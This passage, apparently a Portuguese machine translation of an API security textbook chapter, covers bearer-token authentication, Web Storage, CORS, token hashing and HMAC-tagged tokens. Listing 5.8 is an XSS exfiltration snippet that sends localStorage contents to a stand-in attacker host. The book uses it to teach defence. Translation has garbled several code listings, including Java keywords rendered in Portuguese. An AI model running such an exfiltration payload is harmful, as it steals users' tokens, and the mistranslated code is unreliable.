Cache-Control: privado, idade máxima=0
Servidor:
Codificação de transferência: em partes
{"token":"QDAmQ9TStkDCpVK5A9kFowtYn2k"}

Observe a falta de um cabeçalho Set-Cookie na resposta. Existe apenas o novo to-


ken no corpo JSON. Uma peculiaridade é que a única maneira de passar o token
de volta para a API é por meio do X-CSRF-Token cabeçalho antigovocê adicionou
para cookies:

$ curl -i -H 'Tipo de conteúdo: aplicativo/json' \


-H 'X-CSRF-Token: QDAmQ9TStkDCpVK5A9kFowtYn2k' \ ❶
-d '{"nome":"teste","proprietário":"teste"}' \
https://localhost:4567/spaces
HTTP/1.1 201 Criado

❶ Passe o token no cabeçalho X-CSRF-Token para verificar se está funcionando.


Corrigiremos isso na próxima seção para que o token seja passado de maneira
mais apropriadacabeçalho.

5.2.2 O esquema de autenticação do portador

Passagemo token em um X-CSRF-Token cabeçalhoé menos do que ideal para to-


kens que não têm nada a ver com CSRF. Você poderia apenas renomear o cabeça-
lho, e isso seria perfeitamente aceitável. No entanto, existe uma maneira padrão
de passar tokens não baseados em cookies para uma API na forma do esquema de
token de portadorpara autenticação HTTP definida por RFC 6750 (
https://tools.ietf.org/html/rfc6750 ). Embora originalmente projetado para uso
OAuth2 (capítulo 7), o esquema foi amplamente adotado como um mecanismo ge-
ral para autenticação baseada em token de API.

DEFINIÇÃO Um token de portadoré um token que pode ser usado em uma API
simplesmente incluindo-o na solicitação. Qualquer cliente que tenha um token vá-
lido está autorizado a usar esse token e não precisa fornecer nenhuma prova adi-
cional de autenticação. Um token de portador pode ser fornecido a terceiros para
conceder acesso sem revelar as credenciais do usuário, mas também pode ser
usado facilmente por invasores se for roubado.

Para enviar um token para uma API usando o esquema Bearer, basta incluí-lo em
um cabeçalho Authorization, da mesma forma que você fez com o nome de usuá-
rio e a senha codificados para a autenticação HTTP Basic. O token é incluído sem
codificação adicional: 2
Autorização: Portador QDAmQ9TStkDCpVK5A9kFowtYn2k

A norma também descreve como emitir um WWW-Authenticate cabeçalho de de-


safiopara tokens de portador, o que permite que nossa API torne-se compatível
com as especificações HTTP mais uma vez, porque você removeu esse cabeçalho
no capítulo 4. O desafio pode incluir um parâmetro realm, assim como qualquer
outro esquema de autenticação HTTP, se a API exigir tokens diferentes para termi-
nais diferentes. Por exemplo, você pode retornar realm="users" de um termi-
nal e realm="admins" de outro para indicar ao cliente que ele deve obter um to-
ken de um terminal de login diferente para administradores em comparação com
usuários comuns. Por fim, você também pode retornar um código de erro padrão
e uma descrição para informar ao cliente por que a solicitação foi rejeitada. Dos
três códigos de erro definidos na especificação, o único com o qual você precisa se
preocupar agora é invalid_ token , que indica que o token transmitido na soli-
citação expirou ou é inválido. Por exemplo, se um cliente passou um token que
expirou, você pode retornar:

HTTP/1.1 401 não autorizado


WWW-Authenticate: Bearer realm="users", error="invalid_token",
error_description="Token expirou"

Isso permite que o cliente saiba que deve se autenticar novamente para obter um
novo token e, em seguida, tentar sua solicitação novamente. Abra o arquivo
TokenController.java em seu editor e atualize os validateToken métodos e lo-
goff para extrair o token do Authorization cabeçalho. Se o valor começar com a
string "Bearer" seguida por um único espaço, você poderá extrair o ID do token
do restante do valor. Caso contrário, você deve ignorá-lo, para permitir que a au-
tenticação HTTP básica ainda funcione no terminal de login. Você também pode
retornar um WWW-Authenticate cabeçalho útil se o token tiver expirado. A Lis-
tagem 5.4 mostra os métodos atualizados. Atualize a implementação e salve o
arquivo.

Listagem 5.4 Analisando cabeçalhos de autorização de portador

public void validarToken(Solicitação de solicitação, Resposta de resposta) {


var tokenId = request.headers("Autorização"); ❶
if (tokenId == null || !tokenId.startsWith("Bearer")) { ❶
Retorna;
}
tokenId = tokenId.substring(7); ❷

tokenStore.read(request, tokenId).ifPresent(token -> {


if (Instant.now().isBefore(token.expiry)) {
request.attribute("assunto", token.username);
token.attributes.forEach(request::attribute);
} senão {
response.header("WWW-Authenticate", ❸
"Bearer error=\"invalid_token\"," + ❸
"error_description=\"Expired\""); ❸
parada(401);
}
});
}
public JSONObject logout (solicitação de solicitação, resposta de resposta) {
var tokenId = request.headers("Autorização"); ❹
if (tokenId == null || !tokenId.startsWith("Bearer ")) { ❹
throw new IllegalArgumentException("cabeçalho de token ausente");
}
tokenId = tokenId.substring(7); ❺

tokenStore.revoke(solicitação, tokenId);

resposta.status(200);
retornar novo JSONObject();
}

❶ Verifique se o cabeçalho de Autorização está presente e usa o esquema de


Portador.

❷ O ID do token é o restante do valor do cabeçalho.

❸ Se o token expirou, informe ao cliente usando uma resposta padrão.

❹ Verifique se o cabeçalho de autorização está presente e usa o esquema de


portador.

❺ O ID do token é o restante do valor do cabeçalho.


Você também pode adicionar o desafio de cabeçalho WWW-Authenticate quando
nenhuma credencial válida estiver presente em uma solicitação. Abra o arquivo
UserController.java e atualize o requireAuthentication filtrocombinarLista-
gem 5.5.

Listagem 5.5 Solicitando a autenticação do portador

public void requireAuthentication(Solicitação de solicitação, Resposta de respos


if (request.attribute("assunto") == nulo) {
response.header("WWW-Authenticate", "Bearer"); ❶
parada(401);
}
}

❶ Solicitar autenticação do portador se nenhuma credencial estiver presente.

5.2.3 Excluindo tokens expirados

oO novo método de autenticação baseado em token está funcionando bem para


seus aplicativos móveis e de desktop, mas seus administradores de banco de da-
dos estão preocupados que a tabela de tokens continue crescendo sem que ne-
nhum token seja removido. Isso também cria um potencial vetor de ataque DoS,
porque um invasor pode continuar fazendo login para gerar tokens suficientes
para preencher o armazenamento do banco de dados. Você deve implementar
uma tarefa periódica para excluir tokens expirados para evitar que o banco de
dados fique muito grande. Esta é uma tarefa de uma linha em SQL, conforme
mostrado na Listagem 5.6. Abra DatabaseTokenStore.java e inclua o método na
listagem para implementar a exclusão de token expirado.

Listagem 5.6 Excluindo tokens expirados

public void deleteExpiredTokens() {


banco de dados. atualização(
"DELETE FROM tokens WHERE expiram < current_timestamp"); ❶
}

❷ Exclua todos os tokens com tempo de expiração no passado.

Para tornar isso eficiente, você deve indexar a coluna de expiração no banco de
dados, para que não seja necessário percorrer cada token para localizar os que
expiraram. Abra schema.sql e adicione a seguinte linha na parte inferior para
criar o índice:

CREATE INDEX expired_token_idx ON tokens(expiry);

Finalmente, você precisa agendar uma tarefa periódica para chamar o método
para excluir os tokens expirados. Há muitas maneiras de fazer isso na produção.
Algumas estruturas incluem um agendador para esses tipos de tarefas ou você
pode expor o método como um terminal REST e chamá-lo periodicamente de um
trabalho externo. Se você fizer isso, lembre-se de aplicar a limitação de taxa a esse
endpoint ou exigir autenticação (ou uma permissão especial) antes que ele possa
ser chamado, como no exemplo a seguir:

before("/expired_tokens", userController::requireAuthentication);
delete("/expired_tokens", (solicitação, resposta) -> {
databaseTokenStore.deleteExpiredTokens();
retornar novo JSONObject();
});

Por enquanto, você pode usar um simples serviço de execução agendado Java
para chamar periodicamente o método. Abra DatabaseTokenStore.java nova-
mente e adicione as seguintes linhas ao construtor:

Executors.newSingleThreadScheduledExecutor()
.scheduleAtFixedRate(this::deleteExpiredTokens,
10, 10, TimeUnit.MINUTES);

Isso fará com que o método seja executado a cada 10 minutos, após um atraso ini-
cial de 10 minutos. Se uma tarefa de limpeza demorar mais de 10 minutos para
ser executada, a próxima execução será agendada imediatamente após elacom-
pleta.
5.2.4 Armazenando tokens no armazenamento da Web

Agoraque você tem tokens funcionando sem cookies, você pode atualizar a IU do
Natter para enviar o token no Authorization cabeçalhoem vez de no X-CSRF-
Token cabeçalho. Abra natter.js em seu editor e atualize a createSpace fun-
çãopara passar o token no cabeçalho correto. Você também pode remover o
campo de credenciais, pois não precisa mais do navegador para enviar cookies na
solicitação:

fetch(apiUrl + '/espaços', {
método: 'POST', ❶
corpo: JSON.stringify(dados),
cabeçalhos: {
'Tipo de conteúdo': 'aplicativo/json',
'Autorização': 'Bearer' + csrfToken ❷
}
})

❶ Remova o campo de credenciais para impedir que o navegador envie cookies.

❷ Passe o token no campo Autorização usando o esquema Portador.

Claro, você também pode renomear a csrfToken variávelpara token agora, se


quiser. Salve o arquivo e reinicie a API e a IU duplicada na porta 9999. Ambas as
cópias da IU agora funcionarão bem sem nenhum cookie de sessão. Claro, ainda
resta um cookie para manter o token entre a página de login e a página do natter,
mas você pode se livrar dele agora também.

Até o lançamento do HTML 5, havia muito poucas alternativas aos cookies para
armazenar tokens em um cliente de navegador da web. Agora, existem duas alter-
nativas amplamente suportadas:

A API de armazenamento da Web que inclui o localStorage e sessionSto-


rage objetos para armazenar pares chave-valor simples.
A API IndexedDB que permite armazenar maiores quantidades de dados em
um banco de dados JSON NoSQL mais sofisticado.

Ambas as APIs fornecem uma capacidade de armazenamento significativamente


maior do que os cookies, que normalmente são limitados a apenas 4 KB de arma-
zenamento para todos os cookies de um único domínio. No entanto, como os to-
kens de sessão são relativamente pequenos, você pode se ater à API de armazena-
mento na Web mais simples neste capítulo. Embora o IndexedDB tenha limites de
armazenamento ainda maiores do que o Web Storage, ele geralmente requer o
consentimento explícito do usuário antes de poder ser usado. Ao substituir os coo-
kies para armazenamento no cliente, você terá agora uma substituição para todos
os três aspectos da autenticação baseada em token fornecida pelos cookies, con-
forme mostrado na figura 5.4:
No back-end, você pode armazenar manualmente o estado do cookie em um
banco de dados para substituir o armazenamento de cookies fornecido pela
maioria das estruturas da web.
Você pode usar o esquema de autenticação Bearer como uma forma padrão de
comunicar tokens do cliente para a API e solicitar tokens quando não
fornecidos.
Os cookies podem ser substituídos no cliente pela API de armazenamento na
Web.

Figura 5.4 Os cookies podem ser substituídos pelo armazenamento na Web para
armazenar tokens no cliente. O esquema de autenticação Bearer fornece uma ma-
neira padrão de comunicar tokens do cliente para a API, e um armazenamento de
token pode ser implementado manualmente no back-end.

O Web Storage é simples de usar, especialmente quando comparado com a dificul-


dade de extrair um cookie em JavaScript. Os navegadores que suportam a API
Web Storage, que inclui a maioria dos navegadores em uso atual, adicionam dois
novos campos ao objeto janela JavaScript padrão:

o sessionStorage objetopode ser usado para armazenar dados até que a ja-
nela ou guia do navegador seja fechada.
o localStorage objetoarmazena dados até que sejam excluídos explicita-
mente, salvando os dados mesmo durante a reinicialização do navegador.

Embora semelhante aos cookies de sessão, sessionStorage não é comparti-


lhado entre abas ou janelas do navegador; cada guia obtém seu próprio armaze-
namento. Embora isso possa ser útil, se você usar sessionStorage para armaze-
nar tokens de autenticação, o usuário será forçado a fazer login novamente toda
vez que abrir uma nova guia e sair de uma guia não o desconectará das outras.
Por esse motivo, é mais conveniente armazenar tokens em localStorage vez
disso.

Cada objeto implementa a mesma Storage interfaceque define setItem(key,


value ) , getItem(key ) , e removeItem(key ) métodos para manipular pares
chave-valor nesse armazenamento. Cada objeto de armazenamento é implicita-
mente definido para a origem do script que chama a API, portanto, um script de
example.com verá uma cópia completamente diferente do armazenamento para
um script de example.org.

DICA Se desejar que scripts de dois subdomínios irmãos compartilhem armaze-


namento, você pode definir o document.domain campopara um domínio pai co-
mum em ambos os scripts. Ambos os scripts devem definir explicitamente o
document.domain , caso contrário, ele será ignorado. Por exemplo, se um script
de a.example.com e um script de b.example.com forem ambos definidos
document.domain como example.com, eles compartilharão o armazenamento
na Web. Isso é permitido apenas para um domínio pai válido da origem do script
e você não pode defini-lo como um domínio de nível superior como .com ou .org.
Definir o document.domain campo também instrui o navegador a ignorar a
porta ao comparar as origens.

Para atualizar a IU de login para definir o token no armazenamento local em vez


de um cookie, abra login.js em seu editor e localize a linha que atualmente define
o cookie:

document.cookie = 'token=' + json.token +


';Seguro;SameSite=estrito';

Remova essa linha e substitua-a pela seguinte linha para definir o token no arma-
zenamento local:
localStorage.setItem('token', json.token);

Agora abra natter.js e encontre a linha que lê o token de um cookie. Exclua essa li-
nha e a getCookie função, e substitua-o pelo seguinte:

let token = localStorage.getItem('token');

Isso é tudo o que é necessário para usar a API de armazenamento na Web. Se o to-
ken expirar, a API retornará uma resposta 401, o que fará com que a interface do
usuário seja redirecionada para a página de login. Depois que o usuário fizer lo-
gin novamente, o token no armazenamento local será substituído pela nova ver-
são, portanto, você não precisará fazer mais nada. Reinicie a interface do usuário
e verifique se tudo está funcionando comoesperado.

5.2.5 Atualizando o filtro CORS

Agoraque sua API não precisa mais de cookies para funcionar, você pode apertar
as configurações do CORS. Embora você esteja explicitamente enviando credenci-
ais em cada solicitação, o navegador não precisa adicionar nenhuma de suas pró-
prias credenciais (cookies), portanto, você pode remover os Access-Control-
Allow-Credentials cabeçalhospara impedir que o navegador envie qualquer.
Se você quiser, agora também pode definir o cabeçalho de origens permitidas
para * permitir solicitações de qualquer origem, mas é melhor mantê-lo bloque-
ado, a menos que você realmente queira que a API seja aberta a todos os interes-
sados. Você também pode remover X-CSRF-Token da lista de cabeçalhos permiti-
dos. Abra CorsFilter.java em seu editor e atualize o método handle para remover
esses cabeçalhos extras, conforme mostrado na Listagem 5.7.

Listagem 5.7 Filtro CORS atualizado

@Sobrepor
public void handle(solicitação de solicitação, resposta de resposta) {
var origem = request.headers("Origem");
if (origem != null && permitidoOrigins.contains(origem)) {
response.header("Access-Control-Allow-Origin", origem); ❶
response.header("Varia", "Origem"); ❶
}

if (isPreflightRequest(pedido)) {
if (origem == nulo || !allowedOrigins.contains(origem)) {
parada(403);
}

response.header("Access-Control-Allow-Headers",
"Tipo de conteúdo, autorização"); ❷
response.header("Access-Control-Allow-Methods",
"GET, POST, DELETE");
parar(204);
}
}
❶ Remova o cabeçalho Access-Control-Allow-Credentials.

❷ Remova X-CSRF-Token dos cabeçalhos permitidos.

Como a API não está mais permitindo que os clientes enviem cookies em solicita-
ções, você também deve atualizar a IU de login para não habilitar o modo de cre-
denciais em sua solicitação de busca. Se você se lembra de antes, tinha que habili-
tar isso para que o navegador respeitasse o cabeçalho Set-Cookie na resposta. Se
você deixar este modo ativado, mas com o modo de credenciais rejeitado pelo
CORS, o navegador bloqueará completamente a solicitação e você não poderá
mais fazer login. Abra login.js em seu editor e remova a linha que solicita o modo
de credenciais para a solicitação:

credenciais: 'incluir',

Reinicie a API e a interface do usuário novamente e verifique se tudo ainda está


funcionando. Se não funcionar, pode ser necessário limpar o cache do navegador
para obter a versão mais recente do script login.js. Iniciar uma nova página de na-
vegação anônima/privada é a maneira mais simples de fazer isso. 3

5.2.6 Ataques XSS no armazenamento da Web

Armazenandotokens no Web Storage é muito mais fácil de gerenciar a partir do


JavaScript e elimina os ataques CSRF que afetam os cookies da sessão, porque o
navegador não está mais adicionando automaticamente tokens às solicitações
para nós. Mas enquanto o cookie de sessão pode ser marcado como HttpOnly para
evitar que seja acessível a partir de JavaScript, os objetos de armazenamento da
Web são acessíveis apenas a partir de JavaScript e, portanto, a mesma proteção
não está disponível. Isso pode tornar o Web Storage mais suscetível a ataques de
exfiltração de XSS, embora o Web Storage seja acessível apenas para scripts exe-
cutados na mesma origem, enquanto os cookies estão disponíveis para scripts do
mesmo domínio ou de qualquer subdomínio por padrão.

Exfiltração DE DEFINIÇÃOé o ato de roubar tokens e dados confidenciais de


uma página e enviá-los ao invasor sem que a vítima perceba. O invasor pode usar
os tokens roubados para fazer login como usuário no próprio dispositivo do
invasor.

Se um invasor puder explorar um ataque XSS (capítulo 2) contra um cliente base-


ado em navegador de sua API, ele poderá facilmente percorrer o conteúdo do
Web Storage e criar uma img tagpara cada item com o src atributo, apontando
para um site controlado pelo invasor para extrair o conteúdo, conforme ilustrado
na figura 5.5.
Figura 5.5 Um invasor pode explorar uma vulnerabilidade XSS para roubar to-
kens do Web Storage. Ao criar elementos de imagem, o invasor pode exfiltrar os
tokens sem qualquer indicação visível para o usuário.

A maioria dos navegadores carregará ansiosamente um URL de origem de ima-


gem, sem img sequer ser adicionado à página, 4 permitindo que o invasor roube
tokens secretamente, sem nenhuma indicação visível para o usuário. A Listagem
5.8 mostra um exemplo desse tipo de ataque e como é necessário pouco código
para realizá-lo.

Listagem 5.8 Exfiltração encoberta de armazenamento na Web


for (var i = 0; i < localStorage.length; ++i) { ❶
var key = localStorage.key(i); ❶
var img = document.createElement('img'); ❷
img.setAttribute('src', ❷
'https://evil.example.com/exfil?key=' + ❷
encodeURIComponent(key) + '&value=' + ❸
encodeURIComponent(localStorage.getItem(key))); ❸
}

❶ Percorrer cada elemento em localStorage.

❷ Construa um elemento img com o elemento src apontando para um site contro-
lado pelo invasor.

❸ Codifique a chave e o valor no URL src para enviá-los ao invasor.

Embora o uso de cookies HttpOnly possa proteger contra esse ataque, os ataques
XSSminar a segurança de todas as formas de tecnologias de autenticação do nave-
gador da web. Se o invasor não conseguir extrair o token e exfiltrá-lo para seu
próprio dispositivo, ele usará a exploração XSS para executar as solicitações que
deseja realizar diretamente no navegador da vítima, conforme mostrado na fi-
gura 5.6. Essas solicitações parecerão à API como provenientes da interface do
usuário legítima e, portanto, também derrotariam quaisquer defesas CSRF. Em-
bora mais complexos, esses tipos de ataques agora são comuns usando estruturas
como o Browser Exploitation Framework ( https://beefproject.com ), que permite
o controle remoto sofisticado do navegador da vítima por meio de um ataque XSS.

Figura 5.6 Uma exploração de XSS pode ser usada para fazer proxy de solicitações
do invasor por meio do navegador do usuário para a API da vítima. Como o script
XSS parece ter a mesma origem da API, o navegador incluirá todos os cookies e o
script poderá fazer qualquer coisa.

OBSERVAÇÃO Não há defesa razoável se um invasor puder explorar o XSS,


portanto, eliminar as vulnerabilidades do XSS de sua interface do usuário sempre
deve ser sua prioridade. Consulte o capítulo 2 para obter conselhos sobre como
evitar ataques XSS.
O Capítulo 2 cobriu as defesas gerais contra ataques XSS em uma API REST. Em-
bora uma discussão mais detalhada sobre XSS esteja fora do escopo deste livro
(porque é principalmente um ataque contra uma interface de usuário da Web em
vez de uma API), vale a pena mencionar duas tecnologias porque fornecem prote-
ção significativa contra XSS:

O cabeçalho Content-Security-Policy (CSP), mencionado brevemente no capítulo


2, fornece controle refinado sobre quais scripts e outros recursos podem ser
carregados por uma página e o que eles podem fazer. Mozilla Developer
Network tem uma boa introdução ao CSP em https://developer.mozilla.org/en-
US/docs/Web/HTTP/CSP.
Uma proposta experimental do Google chamada Tipos confiáveisvisa eliminar
completamente os ataques XSS baseados em DOM. O XSS baseado em DOM
ocorre quando o código JavaScript confiável acidentalmente permite que o
HTML fornecido pelo usuário seja injetado no DOM, como ao atribuir a entrada
do usuário ao .innerHTML atributode um elemento existente. O XSS baseado
em DOM é notoriamente difícil de evitar, pois há muitas maneiras pelas quais
isso pode ocorrer, nem todas são óbvias na inspeção. A proposta de Trusted
Types permite a instalação de políticas que impedem que strings arbitrárias se-
jam atribuídas a esses atributos vulneráveis. Consulte https://developers
.google.com/web/updates/2019/02/trusted-types paramaisem formação.

questionário
2. Qual das opções a seguir é uma maneira segura de gerar um ID de token
aleatório?
1. Codificação Base64 do nome do usuário mais um contador.
2. Codificação hexadecimal da saída de arquivos new
Random().nextLong() .
3. Codificação Base64 20 bytes de saída de um arquivo SecureRandom .
4. Fazendo hash da hora atual em microssegundos com uma função de hash
segura.
5. Hashing da hora atual junto com a senha do usuário com SHA-256.
3. Qual esquema de autenticação HTTP padrão é projetado para autenticação ba-
seada em token?
1. NTLM
2. HOBA
3. básico
4. O portador
5. Digerir

As respostas estão no final do capítulo.

5.3 Fortalecendo o armazenamento de token do banco de


dados

Suponhaque um invasor obtém acesso ao seu banco de dados de tokens, por meio
de acesso direto ao servidor ou explorando um ataque de injeção de SQL, con-
forme descrito no capítulo 2. Eles podem não apenas visualizar quaisquer dados
confidenciais armazenados com os tokens, mas também usar esses tokens para
acessar sua API. Como o banco de dados contém tokens para cada usuário autenti-
cado, o impacto de tal comprometimento é muito mais grave do que comprometer
o token de um único usuário. Como primeira etapa, você deve separar o servidor
de banco de dados da API e garantir que o banco de dados não seja acessado dire-
tamente por clientes externos. A comunicação entre o banco de dados e a API
deve ser protegida com TLS. Mesmo se você fizer isso, ainda haverá muitas amea-
ças potenciais contra o banco de dados, conforme mostrado na figura 5.7. Se um
invasor obtiver acesso de leitura ao banco de dados, como por meio de um ataque
de injeção de SQL, eles podem roubar tokens e usá-los para acessar a API. Se eles
obtiverem acesso de gravação, poderão inserir novos tokens concedendo acesso a
si mesmos ou alterar os tokens existentes para aumentar seu acesso. Por fim, se
obtiverem acesso de exclusão, poderão revogar os tokens de outros usuários, ne-
gando-lhes o acesso à API.
Figura 5.7 Um armazenamento de token de banco de dados está sujeito a várias
ameaças, mesmo se você proteger as comunicações entre a API e o banco de da-
dos usando TLS. Um invasor pode obter acesso direto ao banco de dados ou por
meio de um ataque de injeção. O acesso de leitura permite que o invasor roube to-
kens e obtenha acesso à API como qualquer usuário. O acesso de gravação per-
mite que eles criem tokens falsos ou alterem seu próprio token. Se eles obtiverem
acesso de exclusão, poderão excluir os tokens de outros usuários, negando-lhes o
acesso.
5.3.1 Hashing de tokens de banco de dados

Autenticaçãotokens são credenciais que permitem acesso à conta de um usuário,


assim como uma senha. No capítulo 3, você aprendeu a fazer hash de senhas para
protegê-las caso o banco de dados do usuário seja comprometido. Você deve fazer
o mesmo para tokens de autenticação, pelo mesmo motivo. Se um invasor com-
prometer o banco de dados de tokens, ele poderá usar imediatamente todos os to-
kens de login para qualquer usuário que esteja conectado no momento. Criptogra-
far. Em vez disso, você pode usar uma função hash criptográfica rápida, como
SHA-256, usada para gerar tokens anti-CSRF no capítulo 4.

A Listagem 5.9 mostra como adicionar hashing de token ao DatabaseTokenSto-


re reutilizando o sha256() métodovocê adicionou ao CookieTokenStore no ca-
pítulo 4. O token ID fornecido ao cliente é a string aleatória sem hash original,
mas o valor armazenado no banco de dados é o hash SHA-256 dessa string. Como
o SHA-256 é uma função de hash unidirecional, um invasor que obtém acesso ao
banco de dados não poderá reverter a função de hash para determinar os IDs de
token reais. Para ler ou revogar o token, basta fazer hash do valor fornecido pelo
usuário e usá-lo para procurar o registro nobase de dados.

Listagem 5.9 Tokens de banco de dados de hash

@Sobrepor
public String create(Solicitação de solicitação, Token token) {
var tokenId = randomId();
var attrs = new JSONObject(token.attributes).toString();
database.updateUnique("INSERT INTO " +
"tokens(token_id, user_id, expiração, atributos)" +
"VALUES(?, ?, ?, ?)", hash(tokenId), token.username, ❶
token.expiry, attrs);

retorna tokenId;
}

@Sobrepor
public Opcional<Token> read(Request request, String tokenId) {
return database.findOptional(this::readToken,
"SELECT user_id, expiração, atributos" +
"FROM tokens WHERE token_id = ?", hash(tokenId)); ❶
}

@Sobrepor
public void revoke(Solicitação de solicitação, String tokenId) {
database.update("DELETE FROM tokens WHERE token_id = ?",
hash(tokenId)); ❶
}

private String hash(String tokenId) { ❷


var hash = CookieTokenStore.sha256(tokenId); ❷
return Base64url.encode(hash); ❷
} ❷
❶ Faça hash do token fornecido ao armazenar ou pesquisar no banco de dados.

❷ Reutilize o método SHA-256 do CookieTokenStore para o hash.

5.3.2 Autenticação de tokens com HMAC

Emboraeficaz contra roubo de token, o hashing simples não impede que um inva-
sor com acesso de gravação insira um token falso que lhe dá acesso à conta de ou-
tro usuário. A maioria dos bancos de dados também não é projetada para forne-
cer comparações de igualdade de tempo constante, portanto, as pesquisas de
banco de dados podem ser vulneráveis ​a ataques de temporização como os discu-
tidos no capítulo 4. Você pode eliminar ambos os problemas calculando umcódigo
de autenticação de mensagem(MAC), como o padrãoMAC baseado em hash
(HMAC). O HMAC funciona como uma função hash criptográfica normal, mas in-
corpora uma chave secreta conhecida apenas pelo servidor da API.

DEFINIÇÃO Um código de autenticação de mensagem (MAC) é um algoritmo


para calcular uma marca de autenticação curta de comprimento fixo de uma
mensagem e uma chave secreta. Um usuário com a mesma chave secreta poderá
calcular a mesma tag da mesma mensagem, mas qualquer alteração na mensa-
gem resultará em uma tag completamente diferente. Um invasor sem acesso ao
segredo não pode calcular uma tag correta para nenhuma mensagem. HMAC
(MAC baseado em hash) é um MAC seguro amplamente utilizado baseado em uma
função hash criptográfica. Por exemplo, HMAC-SHA-256é HMAC usando a função
de hash SHA-256.
A saída da função HMAC é uma pequena marca de autenticação que pode ser ane-
xada ao token, conforme mostrado na figura 5.8. Um invasor sem acesso à chave
secreta não pode calcular a tag correta para um token, e a tag mudará se um
único bit do ID do token for alterado, impedindo-os de adulterar um token ou fal-
sificar novos.
Figura 5.8 Um token pode ser protegido contra roubo e falsificação calculando
uma marca de autenticação HMAC usando uma chave secreta. O token retornado
do banco de dados é passado para a função HMAC-SHA256 junto com a chave se-
creta. A marca de autenticação de saída é codificada e anexada ao ID do banco de
dados para retornar ao cliente. Apenas o ID do token original é armazenado no
banco de dados e um invasor sem acesso à chave secreta não pode calcular uma
marca de autenticação válida.

Nesta seção, você autenticará os tokens do banco de dados com o algoritmo


HMAC-SHA256 amplamente usado. HMAC-SHA256 pega uma chave secreta de 256
bits e uma mensagem de entrada e produz uma marca de autenticação de 256
bits. Existem muitas maneiras erradas de construir um MAC seguro a partir de
uma função de hash, portanto, em vez de tentar criar sua própria solução, você
deve sempre usar o HMAC, que foi extensivamente estudado por especialistas.
Para obter mais informações sobre algoritmos MAC seguros, recomendo Serious
Cryptography de Jean-Philippe Aumasson (No Starch Press, 2017).
Figura 5.9 O ID do token do banco de dados permanece intocado, mas uma marca
de autenticação HMAC é computada e anexada ao ID do token retornado aos cli-
entes da API. Quando um token é apresentado à API, a marca de autenticação é
primeiro validada e, em seguida, removida do ID do token antes de passá-lo para
o armazenamento de token do banco de dados. Se a marca de autenticação for in-
válida, o token será rejeitado antes que ocorra qualquer pesquisa no banco de
dados.

Em vez de armazenar a marca de autenticação no banco de dados junto com o ID


do token, você deixará isso como está. Antes de devolver o ID do token ao cliente,
você calculará a tag HMAC e a anexará ao token codificado, conforme mostrado
na Figura 5.9. Quando o cliente envia uma solicitação de volta à API incluindo o
token, você pode validar a marca de autenticação. Se for válido, a tag é removida
e o ID do token original é passado para o armazenamento de token do banco de
dados. Se a tag for inválida ou ausente, a solicitação poderá ser imediatamente re-
jeitada sem nenhuma consulta ao banco de dados, evitando ataques de tempori-
zação. Como um invasor com acesso ao banco de dados não pode criar uma
marca de autenticação válida, ele não pode usar tokens roubados para acessar a
API e não pode criar seus próprios tokens inserindo registros no banco de dados.

A Listagem 5.10 mostra o código para calcular a tag HMAC e anexá-la ao token.
Você pode implementar isso como um novo HmacTokenStore implementação que
pode ser agrupada em torno do DatabaseTokenStore para adicionar as prote-
ções, pois o HMAC acaba sendo útil para outros armazenamentos de token, como
você verá no próximo capítulo. A tag HMAC pode ser implementada usando a
javax.crypto.Mac classeem Java, usando um Key objetopassado para o seu
construtor. Você verá em breve como gerar a chave. Crie um novo arquivo
HmacTokenStore.java junto com o JsonTokenStore.java existente e digite o con-
teúdo da listagem 5.10.

Listagem 5.10 Calculando uma tag HMAC para um novo token

pacote com.manning.apisecurityinaction.token;

import spark.Request;

importar javax.crypto.Mac;
import java.nio.charset.StandardCharsets;
importar java.security.*;
importar java.util.*;

public class HmacTokenStore implementa TokenStore {

delegado TokenStore final privado; ❶


chave final privada macKey; ❶

public HmacTokenStore(TokenStore delegado, Key macKey) { ❶


this.delegate = delegado;
this.macKey = macKey;
}

@Sobrepor
public String create(Solicitação de solicitação, Token token) {
var tokenId = delegado.create(pedido, token); ❷
var tag = hmac(tokenId); ❷

return tokenId + '.' + Base64url.encode(tag); ❸


}

byte privado[] hmac(String tokenId) {


tentar {
var mac = Mac.getInstance(macKey.getAlgorithm()); ❹
mac.init(macKey); ❹
return mac.doFinal( ❹
tokenId.getBytes(StandardCharsets.UTF_8)); ❹
} catch (GeneralSecurityException e) {
lança nova RuntimeException(e);
}
}

@Sobrepor
public Opcional<Token> read(Request request, String tokenId) {
return Opcional.vazio(); // A ser escrito
}
}

❶ Passe a implementação real do TokenStore e a chave secreta para o construtor.

❷ Chame o TokenStore real para gerar o ID do token e use o HMAC para calcular a
tag.

❸ Concatene o ID do token original com a tag codificada como o novo ID do token.

❹ Use a classe javax .crypto.Mac para calcular a tag HMAC-SHA256.

Quando o cliente apresenta o token de volta à API, você extrai a tag do token apre-
sentado e recalcula a tag esperada do segredo e do restante do ID do token. Se eles
corresponderem, o token é autêntico e você o passa para o DatabaseTokenS-
tore . Se eles não corresponderem, a solicitação será rejeitada. A Listagem 5.11
mostra o código para validar o tag. Primeiro você precisa extrair a tag do token e
decodificá-la. Em seguida, você calcula a tag correta da mesma forma que fez ao
criar um novo token e verifica se os dois são iguais.
AVISO Como você aprendeu no capítulo 4 ao validar tokens anti-CSRF, é impor-
tante sempre usar uma igualdade de tempo constante ao comparar um valor se-
creto (a marca de autenticação correta) com um valor fornecido pelo usuário. Os
ataques de temporização contra a validação de marca HMAC são uma vulnerabili-
dade comum, por isso é fundamental que você use MessageDigest.isEqual ou
uma função de igualdade de tempo constante equivalente.

Listagem 5.11 Validando a tag HMAC

@Sobrepor
public Opcional<Token> read(Request request, String tokenId) {
var index = tokenId.lastIndexOf('.'); ❶
if (index == -1) { ❶
return Opcional.vazio(); ❶
} ❶
var realTokenId = tokenId.substring(0, index); ❶
var fornecido = Base64url.decode(tokenId.substring(index + 1)); ❷
var computado = hmac(realTokenId); ❷

if (!MessageDigest.isEqual(fornecido, computado)) { ❸
return Opcional.vazio();
}

return delegado.read(solicitação, realTokenId); ❹


}
❶ Extraia a tag do final do ID do token. Se não for encontrado, rejeite a solicitação.

❷ Decodifique a tag do token e calcule a tag correta.

❸ Compare as duas tags com uma verificação de igualdade de tempo constante.

❹ Se a tag for válida, chame o armazenamento de token real com o ID do token


original.

GERANDO A CHAVE

oA chave usada para HMAC-SHA256 é apenas um valor aleatório de 32 bytes, por-


tanto, você pode gerar uma usando SecureRandom exatamente como faz atual-
mente para IDs de token de banco de dados. Mas muitas APIs serão implementa-
das usando mais de um servidor para lidar com a carga de um grande número de
